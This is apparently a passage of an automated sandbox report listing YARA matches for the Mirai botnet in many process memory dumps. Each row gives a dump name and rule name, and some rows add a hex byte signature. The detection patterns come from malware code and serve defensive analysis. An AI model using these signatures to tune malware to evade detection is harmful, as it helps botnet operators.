7350.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7386.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7386.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7386.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7386.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7386.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7386.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7240.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7240.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7240.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7240.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7240.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7240.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7090.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7090.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7090.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7090.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7090.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7090.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6576.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6576.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6576.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6576.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6576.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6576.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6869.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6869.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6869.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6869.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6869.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6869.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6861.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6861.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6861.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6861.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6861.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6861.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6924.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6924.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6924.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7318.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6924.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6924.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6924.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7318.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7318.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7318.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7318.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7318.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6582.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6582.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6582.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6582.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6582.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6582.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6484.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6484.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6484.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6484.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6484.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6484.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6670.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7426.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7426.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7426.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7426.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7426.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7426.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6325.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6682.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6682.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6682.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6682.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6682.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6682.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7062.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7062.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7062.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7062.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7062.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7062.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6805.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6805.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6805.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6805.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6805.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6805.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6905.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6905.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6905.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6905.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6905.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6905.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7094.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7094.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7094.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7094.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7094.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7094.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6666.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6666.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6666.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6666.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6666.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6666.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6803.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6803.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6803.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6803.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6803.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6803.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6723.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6723.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6723.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6723.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6723.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6723.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7270.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7270.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7270.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7270.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7270.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7270.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7180.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7180.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7180.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7180.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7180.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7180.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7112.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7112.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7112.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7112.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7112.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7112.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6337.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6337.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6337.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6337.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6337.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6337.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6333.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6333.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6333.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6333.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6333.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6333.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7218.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7218.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7218.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7218.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7218.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7218.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6576.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6751.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6751.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6751.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6751.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6751.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6751.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7348.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7348.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7348.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7348.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7348.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7348.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6381.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6381.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6381.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6381.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
